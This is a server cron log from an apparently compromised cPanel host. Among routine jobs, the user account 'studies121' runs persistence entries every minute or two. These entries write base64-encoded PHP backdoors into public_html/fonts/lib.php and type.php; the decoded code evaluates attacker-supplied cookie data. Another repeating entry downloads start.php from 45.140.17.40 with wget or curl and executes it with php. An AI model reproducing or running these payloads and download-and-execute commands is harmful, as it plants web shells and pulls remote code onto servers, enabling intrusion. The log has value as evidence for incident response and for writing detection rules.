Sep  4 09:58:01 ip-184-168-122-23 CROND[2028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:58:01 ip-184-168-122-23 CROND[2029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:58:01 ip-184-168-122-23 CROND[2033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:58:01 ip-184-168-122-23 CROND[2031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:58:01 ip-184-168-122-23 CROND[2034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:59:01 ip-184-168-122-23 CROND[2134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:59:01 ip-184-168-122-23 CROND[2136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:59:01 ip-184-168-122-23 CROND[2137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:59:01 ip-184-168-122-23 CROND[2138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:00:01 ip-184-168-122-23 CROND[2265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:00:01 ip-184-168-122-23 CROND[2266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:00:01 ip-184-168-122-23 CROND[2269]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:00:01 ip-184-168-122-23 CROND[2271]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:00:01 ip-184-168-122-23 CROND[2268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:00:01 ip-184-168-122-23 CROND[2273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:00:01 ip-184-168-122-23 CROND[2272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:00:01 ip-184-168-122-23 CROND[2270]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 10:00:01 ip-184-168-122-23 CROND[2275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:01:01 ip-184-168-122-23 CROND[2400]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 10:01:01 ip-184-168-122-23 CROND[2402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:01:01 ip-184-168-122-23 CROND[2403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:01:01 ip-184-168-122-23 CROND[2401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:01:01 ip-184-168-122-23 CROND[2405]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 10:01:01 ip-184-168-122-23 CROND[2407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2400]: starting 0anacron
Sep  4 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2421]: finished 0anacron
Sep  4 10:02:01 ip-184-168-122-23 CROND[2563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:02:01 ip-184-168-122-23 CROND[2566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:02:01 ip-184-168-122-23 CROND[2564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:02:01 ip-184-168-122-23 CROND[2567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:02:01 ip-184-168-122-23 CROND[2565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:03:01 ip-184-168-122-23 CROND[2669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:03:01 ip-184-168-122-23 CROND[2671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:03:01 ip-184-168-122-23 CROND[2672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:03:01 ip-184-168-122-23 CROND[2673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:04:01 ip-184-168-122-23 CROND[2875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:04:01 ip-184-168-122-23 CROND[2876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:04:01 ip-184-168-122-23 CROND[2877]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:04:01 ip-184-168-122-23 CROND[2878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:04:01 ip-184-168-122-23 CROND[2879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:05:01 ip-184-168-122-23 CROND[2965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:05:01 ip-184-168-122-23 CROND[2969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:05:01 ip-184-168-122-23 CROND[2967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:05:01 ip-184-168-122-23 CROND[2970]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:05:01 ip-184-168-122-23 CROND[2968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:05:01 ip-184-168-122-23 CROND[2971]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:05:01 ip-184-168-122-23 CROND[2972]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 10:06:01 ip-184-168-122-23 CROND[3059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:06:01 ip-184-168-122-23 CROND[3060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:06:01 ip-184-168-122-23 CROND[3058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:06:01 ip-184-168-122-23 CROND[3062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:06:01 ip-184-168-122-23 CROND[3061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:07:01 ip-184-168-122-23 CROND[3178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:07:01 ip-184-168-122-23 CROND[3177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:07:01 ip-184-168-122-23 CROND[3176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:07:01 ip-184-168-122-23 CROND[3179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:08:01 ip-184-168-122-23 CROND[3389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:08:01 ip-184-168-122-23 CROND[3390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:08:01 ip-184-168-122-23 CROND[3391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:08:01 ip-184-168-122-23 CROND[3392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:08:01 ip-184-168-122-23 CROND[3394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:09:01 ip-184-168-122-23 CROND[3527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:09:01 ip-184-168-122-23 CROND[3529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:09:01 ip-184-168-122-23 CROND[3530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:09:01 ip-184-168-122-23 CROND[3534]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 10:09:01 ip-184-168-122-23 CROND[3532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:10:01 ip-184-168-122-23 CROND[3654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
